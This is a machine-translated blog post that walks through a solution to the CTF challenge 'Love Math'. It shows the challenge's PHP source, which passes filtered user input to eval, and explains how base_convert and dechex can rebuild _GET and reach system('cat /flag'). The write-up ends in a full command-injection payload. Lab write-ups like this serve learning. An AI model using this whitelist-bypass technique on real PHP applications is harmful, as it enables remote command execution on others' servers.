当前位置:网站首页>Buuctf-[ciscn 2019 preliminary]love math
Buuctf-[ciscn 2019 preliminary]love math
2022-06-12 23:42:00 【Python's path to becoming a God】
buuctf-[CISCN 2019 Preliminaries ]Love Math( Xiaoyute detailed explanation )
1. First look at the topic
<?php
error_reporting(0);
// I heard that you like math very much , I don't know if you love it better than love flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
// Example c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die(" Too long doesn't count ");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die(" Please don't type strange characters ");
}
}
// Common mathematical functions http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die(" Please don't enter strange functions ");
}
}
// Help you figure out the answer
eval('echo '.$content.';');
}
Analyze the source code
At first, it limits the length of the incoming parameters , Then there is blacklist filtering , Finally, the white list , The white list here is a commonly used mathematical function .
Here's the idea
1. First pass in a parameter , See if you can execute the command
payload:/?c=19-1

2. Then the blacklist filters a lot of things , The conventional cat/flag Can't use , Here is a knowledge point is php Function name can be passed to a variable by string in , Then call the function dynamically through this variable. For example, the following code will execute system(‘cat/flag’);
$a='system';
$a('cat/flag');
The parameters used here are
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
But here _GET and a,b None of them are on the white list , It needs to be replaced here
After replacement
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag
But here _GET There is no direct replacement , and [] Also filtered by the blacklist
Here we need to know about the functions in the white list he gave
Here are some functions that need to be used
First of all, I will _GET Function to convert
hex2bin() function
hex2bin() Function to convert a string of hexadecimal values to ASCII character .
there _GET yes ASCII character , Use online tools to _GET Convert to hex

hex2bin(5f 47 45 54) Namely _GET, however hex2bin() Functions are not in the white list , And here's 5f 47 45 54 You can't directly fill in , It's going to be destroyed here
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
To test the white list .
there hex2bin() Functions can be base_convert() Function to convert
base_convert() The function can convert numbers between any base numbers
there hex2bin You can view it as 36 Base number , use base_convert To convert 10 The base number is converted to 16 Base can appear hex2bin
hex2bin=base_convert(37907361743,10,36)
And then the inside 5f 47 45 54 Use dechex() Function will 10 The base number is converted to 16 Binary number
dechex(1598506324),1598506324 Convert to 16 Hexadecimal is 5f 47 45 54
The final payload:
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){
pi}(($$pi){
abs})&pi=system&abs=cat /flag

边栏推荐
- CV - baseline summary (development history from alexnet to senet)
- 测试平台系列(97) 完善执行case部分
- 2022 R2 mobile pressure vessel filling test questions and online simulation test
- Record 5 - the serial port of stm32f411ceu6 realizes the sending and receiving of fixed length data and variable length data
- Comprehensive analysis of C array
- 2022起重机械指挥上岗证题目模拟考试平台操作
- ShardingSphere-proxy-5.0.0部署之分表实现(一)
- 妙才周刊 - 5
- Gradient accumulation in pytorch [during the experiment, due to the limitation of GPU video memory, the batch\u size can no longer be increased. To solve this problem, the gradient accumulation method
- [issue 30] shopee golang development experience
猜你喜欢

2022年R2移动式压力容器充装考试题及在线模拟考试

CV—BaseLine总结(从AlexNet到SENet的发展历程)

Leetcode 2164. 对奇偶下标分别排序(可以,一次过)

ShardingSphere-proxy-5.0.0部署之分表实现(一)

2022 R2 mobile pressure vessel filling test questions and online simulation test

Opencv source code compilation

应用最广泛的动态路由协议:OSPF

Dry goods sharing | BitSet application details
![Leetcode 890 finding and replacing patterns [map] the leetcode path of heroding](/img/a2/186439a6d50339ca7f299a46633345.png)
Leetcode 890 finding and replacing patterns [map] the leetcode path of heroding

Summary of MySQL foundation view
随机推荐
Automatically obtain the position offset of member variables inside the structure
Sequence maximum return
MySQL row to column, column to row, multiple columns to one row, one row to multiple columns
Summary of MySQL foundation view
自动获取结构体内部成员变量的位置偏移
应用最广泛的动态路由协议:OSPF
2022起重机械指挥上岗证题目模拟考试平台操作
2022年危險化學品經營單比特安全管理人員考試試題及在線模擬考試
TCP与UDP
SAP 业务技术平台(BTP) Workflow(工作流)功能介绍
[kubernetes guide ⑤] label quick start
M_ 8: Design a MySQL table for message queue to store message data
So, what is the difference between e.target and e.currenttarget?
Face detection: mtcnn
dict和set的基本操作
House raiding 2
CV—BaseLine总结(从AlexNet到SENet的发展历程)
lua 条件语句
AWS lambda: how to store secrets to external APIs- AWS Lambda: How to store secret to external API?
度量学习(Metric Learning)【AMSoftmax、Arcface】